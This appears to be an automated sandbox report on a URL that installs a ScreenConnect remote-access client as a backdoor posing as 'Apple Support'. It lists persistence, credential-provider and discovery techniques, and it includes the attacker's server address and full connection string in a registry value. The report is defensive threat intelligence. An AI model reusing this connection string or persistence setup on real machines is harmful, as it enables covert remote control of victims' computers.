hxxp://irnbsol[.]top

Analysis

user interaction
yes
max time kernel
929s
max time network
922s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 22:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://irnbsol.top
Sample260930-19cskasekf

Score

8^/10

backdoor discovery persistence privilege_escalation ransomware rat revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (20dcd249ab2ac2f7)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (20dcd249ab2ac2f7)\\ScreenConnect.ClientService.exe\" \"?e=Support&y=Guest&h=131.123.37.216&p=8041&s=220c4125-a404-4ca8-b53e-d3dbde28fb88&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAaa2H0toWlEGhX8BQkSok9QAAAAACAAAAAAAQZgAAAAEAACAAAADM1ZPnMzdoFwt%2fqb3Nh1bVca%2bdFfmq6N6fnCsZBCggsAAAAAAOgAAAAAIAACAAAACIJHalKKIjGyi%2bDMO29%2bmGzkMDcYTWlZqEojEkW4IxwqAEAABQ4cRVQ1CJGWiEez6hDVWnvGBAI8uzBhBybYlGDogWreFP21BFJFUGsMgJzoNiyk%2fYvBV7U%2f2YTh3cJ8E74qhrwxtO%2fo3hAOTVd7CYfrBN6X4iyavHCDpbl84GzsaQez%2bU9bI4VwHdIr5mdaj%2bXPOtsqg5Dxtk7iTrwIE2RKbb1h27dSfoZUXeGDD4IZKQ%2fEbMR%2fXQfbX9PpiuJtmHjlqbLGMNAkVaZxynZKS6U9%2ffTS5lCfFozZSleXxig47J6CJh43HHUt77Gg2oUYHLS%2bzLqNp%2b9TYHKPq899lpN5mJlOfEwsGI8EN2y5t%2fuzhkJ7Y0nQeQdubJ2zSuFRTvIy3wIyu2VuCCPXnGScFUX4w%2bptXXaXzOIMLXhULZwpHVfcv9Bs%2bjnjVPR3mwtWlwITCz6azZQVgdi57hHSjGNIBxst5uafVtglvCnzsUJlOmg2tgBOc67nAJOetFoHmfqjUdJyrFVxOlqA8RXedTUJwhvvuM%2bC6A9PbDRTeFsr6WDkgsdERaiCGdH15v826vh3cHWgormAnes8pTH1Brd%2bb6gq3420QJugAwn83EW%2biVvkILsn1qqk7JQTeWhRI8r%2fF3q0hBx9o%2fzYvYZcE3MPLeZ4y5n9X7nUJTF5kg59Bvk05%2b8PxtrR55V1m%2b0v4XcWW%2b%2fiotk9fFDqnDC34zwuJ4AxQ2O6IcznY0XuEHm81vp9Oal9HUWwxToj%2beBiwsgH%2fWJQOxGpAucEwX3o7zOUG7xz0IvqaFX8Hbw5o7D8uUwZeWwfTs8WIg2jrAZI0B0xHXDnL%2fobecuzNPqQOss3JJt%2fP2FrKylgGtkmx7eOv56KYDU2kPg2QZDeVabvXVXnt6jl85eL6mnI79j2%2bz50e8%2b%2b6TtRtaE0FoyGcPz2giJDwMgdvZY0a5QfKyNgJW7e%2frhU56ddvulZtQepS1NehFjmKb9jDOSFunM9Xvn4nFuaQ2U%2biQf03%2biLPCNV3gkjO5BLe3RUBm6xT6koIL45QrVxqsxJEsRxxdNXJf6QfzBHKSIEtWhRjnv8UXDMn0HBqlnWbIqR81WXjbwt40FmfwLJRN2fYkPdrvAq0lAnvnix3uIdBgCnG5G9JkQxGdji33yFssjQEfv%2fgOSr6WHnTV1MVC5a%2fgr1Xyqa5m2BHM7DDu8rgww6QmZrqtOkx%2bwoga7g8Uny8uf5j7XmWn5CCzV0%2bImCGzPwWrIfm0ewRNrWzKH4RXCwzED%2fWp2BF0qGU6pVikIDtSACyBrxCGHcqKmwuF53ikXVo5mXiCld%2bJ81lQe5kCxGqdplfjmJkpC4lTIApDl2qIS54ag6FpZbPrkuMZfiz2fJDFBztszaFsQkyROG%2fWdmrz2ZopTHBvyNUBYQl5qf8wP1y9DS%2bF0YVxEbW3jPPSxzfoc7e%2bJrlQ2FgRk%2fv3IOBts0bF5NTo2dmK5jKx6%2fA2XkxJXxAq5Pu0NQHI2ZRuAKwspQHsTVH%2fWg8jcMXxCFTaAZgNAK1PU5yM%2b8mXUZkOsFNUD4%2fbJZ5J13TqYmbIS6IgXi8quUNrEyuE6YguNvW%2fxPmmPzIM9zv8aOOW1dm0BNEZBtOLad%2bZpkAAAADH%2fysbWGpjk%2fmSAot%2bUFlr5oNFVBy9MtKjXj1Q2LAZX6dqXuqM11ivQv2GQk3lH0JogU77NxElaCdUPMujG2QT&r=&i=Apple%20Support\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 4 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x0004000000023935-368.dat	revoked_cert_connectwise
behavioral1/memory/712-398-0x0000000003EC0000-0x0000000003F95000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x0003000000023932-397.dat	revoked_cert_connectwise
behavioral1/files/0x0003000000023930-412.dat	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
712	ScreenConnect.ClientService.exe
3036	ScreenConnect.WindowsClient.exe
2276	ScreenConnect.WindowsClient.exe

Loads dropped DLL 33 IoCs

pid	Process
4676	MsiExec.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
5764	rundll32.exe
3324	MsiExec.exe
3832	MsiExec.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
712	ScreenConnect.ClientService.exe
2260	MsiExec.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
3780	rundll32.exe
4496	MsiExec.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
149	2996	msiexec.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800320030006400630064003200340039006100620032006100630032006600370029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (20dcd249ab2ac2f7)\eqauee5c.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (20dcd249ab2ac2f7)\eqauee5c.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (20dcd249ab2ac2f7)\system.config	msiexec.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA31A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEAB4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEB32.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA3C7.tmp	msiexec.exe
File created	C:\Windows\Installer\e59e92d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59e92d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{D03EE69F-4DB5-92EE-A3BC-818E35373932}	msiexec.exe
File created	C:\Windows\Installer\e59e92f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIED75.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{D03EE69F-4DB5-92EE-A3BC-818E35373932}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{D03EE69F-4DB5-92EE-A3BC-818E35373932}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{D03EE69F-4DB5-92EE-A3BC-818E35373932}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3712	msedge.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	msedge.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000095d3837de88660fc0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000095d3837d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090095d3837d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a95d3837d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d95d3837d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	msedge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	msedge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 39 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-63F8-2DFDBB2466C2}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (20dcd249ab2ac2f7)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\PackageCode = "F96EE30D5BD4EE293ACB18E853739323"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-20dcd249ab2ac2f7\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-63F8-2DFDBB2466C2}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F96EE30D5BD4EE293ACB18E853739323\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\ProductName = "ScreenConnect Client (20dcd249ab2ac2f7)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C6063B10958FA7E702CD2D94BAA22C7F	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F96EE30D5BD4EE293ACB18E853739323	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2091445952-3649787497-104050984-1000\{54896135-9A53-48C3-914D-73AF288AB2A4}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-63F8-2DFDBB2466C2}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\Version = "419561476"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\ProductIcon = "C:\\Windows\\Installer\\{D03EE69F-4DB5-92EE-A3BC-818E35373932}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-20dcd249ab2ac2f7\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (20dcd249ab2ac2f7)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-63F8-2DFDBB2466C2}\ = "ScreenConnect Client (20dcd249ab2ac2f7) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-63F8-2DFDBB2466C2}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F96EE30D5BD4EE293ACB18E853739323\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\C6063B10958FA7E702CD2D94BAA22C7F\F96EE30D5BD4EE293ACB18E853739323	msiexec.exe
